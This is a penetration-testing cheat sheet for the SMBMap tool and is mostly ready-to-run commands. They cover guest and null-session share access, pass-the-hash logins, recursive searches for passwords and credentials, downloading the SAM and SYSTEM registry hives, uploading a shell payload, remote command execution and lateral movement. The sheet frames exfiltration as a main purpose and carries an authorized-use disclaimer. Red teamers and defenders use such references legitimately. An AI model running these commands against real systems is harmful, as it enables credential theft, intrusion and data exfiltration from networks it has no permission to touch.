โ† All cheat sheets

SMBMAP

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

SMBMap allows enumeration of SMB shares across domains.
Essential for discovering accessible shares and data exfiltration.

INSTALLATION#

pip install smbmap

# Or clone
git clone https://github.com/ShawnDEvans/smbmap
cd smbmap
pip install -r requirements.txt

BASIC USAGE#


    

ENUMERATE SHARES#

# List shares
smbmap -H TARGET

# With credentials
smbmap -H TARGET -u username -p 'password'
smbmap -H TARGET -u username -p 'password' -d DOMAIN

# With hash
smbmap -H TARGET -u username -p 'LM:NT'
smbmap -H TARGET -u username -p ':NTHASH'

# Null session
smbmap -H TARGET -u '' -p ''
smbmap -H TARGET -u 'guest' -p ''

LIST CONTENTS#

# List share contents
smbmap -H TARGET -u user -p pass -r SHARENAME

# Recursive listing
smbmap -H TARGET -u user -p pass -R SHARENAME

# Specific depth
smbmap -H TARGET -u user -p pass -R SHARENAME --depth 3

# List all shares recursively
smbmap -H TARGET -u user -p pass -R

SEARCH FOR FILES#

# Search by pattern
smbmap -H TARGET -u user -p pass -R -A "password" --depth 5

# Search by extension
smbmap -H TARGET -u user -p pass -R -A "\.txt$" --depth 5

# Multiple patterns
smbmap -H TARGET -u user -p pass -R -A "(password|credential|secret)" --depth 5

FILE OPERATIONS#


    

DOWNLOAD FILES#

# Download specific file
smbmap -H TARGET -u user -p pass --download 'SHARE\path\to\file.txt'

# Download to specific location
smbmap -H TARGET -u user -p pass --download 'C$\Windows\System32\config\SAM' -o /tmp/SAM

UPLOAD FILES#

# Upload file
smbmap -H TARGET -u user -p pass --upload /local/path 'SHARE\remote\path'

DELETE FILES#

# Delete file
smbmap -H TARGET -u user -p pass --delete 'SHARE\path\to\file.txt'

COMMAND EXECUTION#

# Execute command (requires write access to share)
smbmap -H TARGET -u user -p pass -x 'ipconfig /all'

# Execute with PowerShell
smbmap -H TARGET -u user -p pass -x 'whoami' --mode psexec

MULTIPLE TARGETS#

# From file
smbmap -H targets.txt -u user -p pass

# Subnet
smbmap -H 192.168.1.0/24 -u user -p pass

OPTIONS#


    

CONNECTION#

-H, --host          Target host or file with hosts
-P, --port          SMB port (default: 445)
-d, --domain        Domain name
-u, --username      Username
-p, --password      Password or LM:NT hash
--prompt            Prompt for password

ENUMERATION#

-r, --recurse       List share contents
-R, --recursive     Recursively list directories
--depth N           Traversal depth (default: 5)
-A PATTERN          Search for file pattern
--exclude SHARE     Exclude share from enumeration
-q, --quiet         Suppress output

FILE OPERATIONS#

--download PATH     Download file
--upload SRC DST    Upload file
--delete PATH       Delete file
-o, --output        Output directory

EXECUTION#

-x COMMAND          Execute command
--mode              Execution mode (wmi, psexec)

PERMISSIONS LEGEND#

READ                Read access
WRITE               Write access
READ, WRITE         Both permissions
NO ACCESS           Access denied

COMMON SCENARIOS#


    

INITIAL ENUMERATION#

# Anonymous/guest access
smbmap -H TARGET -u '' -p ''
smbmap -H TARGET -u 'guest' -p ''

# With valid creds
smbmap -H TARGET -u user -p pass -d DOMAIN

FIND SENSITIVE DATA#

# Common patterns
smbmap -H TARGET -u user -p pass -R -A "password" --depth 10
smbmap -H TARGET -u user -p pass -R -A "\.config$" --depth 10
smbmap -H TARGET -u user -p pass -R -A "(web\.config|appsettings)" --depth 10

# Scripts and code
smbmap -H TARGET -u user -p pass -R -A "\.(ps1|bat|vbs|cmd)$" --depth 5

# Database files
smbmap -H TARGET -u user -p pass -R -A "\.(sql|mdb|accdb)$" --depth 5

LATERAL MOVEMENT#

# Check admin shares
smbmap -H TARGET -u admin -p pass

# If C$ accessible:
# - Download SAM/SYSTEM
# - Upload tools
# - Execute commands

# Download registry hives
smbmap -H TARGET -u admin -p pass --download 'C$\Windows\System32\config\SAM'
smbmap -H TARGET -u admin -p pass --download 'C$\Windows\System32\config\SYSTEM'

WRITABLE SHARE ABUSE#

# Find writable shares
# Look for WRITE permission

# Upload payload
smbmap -H TARGET -u user -p pass --upload shell.exe 'SHARE\shell.exe'

# Or WebDAV/shortcut attacks

INTEGRATION#


    

WITH CRACKMAPEXEC#

# CrackMapExec for large scale
nxc smb RANGE -u user -p pass --shares

# SMBMap for detailed exploration
smbmap -H TARGET -u user -p pass -R

WITH IMPACKET#

# Use smbclient.py for interactive
smbclient.py DOMAIN/user:pass@TARGET

# Use psexec after finding admin access
psexec.py DOMAIN/user:pass@TARGET

OUTPUT PARSING#

# Parse output
smbmap -H TARGET -u user -p pass 2>/dev/null | grep -E "(READ|WRITE)"

# JSON output
smbmap -H TARGET -u user -p pass --json

COMMON SHARES#

ADMIN$          Administrative share (C:\Windows)
C$              C: drive
IPC$            Inter-process communication
NETLOGON        Logon scripts
SYSVOL          Group Policy
print$          Printer drivers
Users           User home directories

QUICK REFERENCE#

smbmap -H IP -u user -p pass                    # Enum shares
smbmap -H IP -u user -p pass -r SHARE           # List contents
smbmap -H IP -u user -p pass -R                 # Recursive list
smbmap -H IP -u user -p pass -R -A "password"   # Search files
smbmap -H IP -u user -p pass --download PATH    # Download file
smbmap -H IP -u user -p pass --upload SRC DST   # Upload file
smbmap -H IP -u user -p pass -x "command"       # Execute command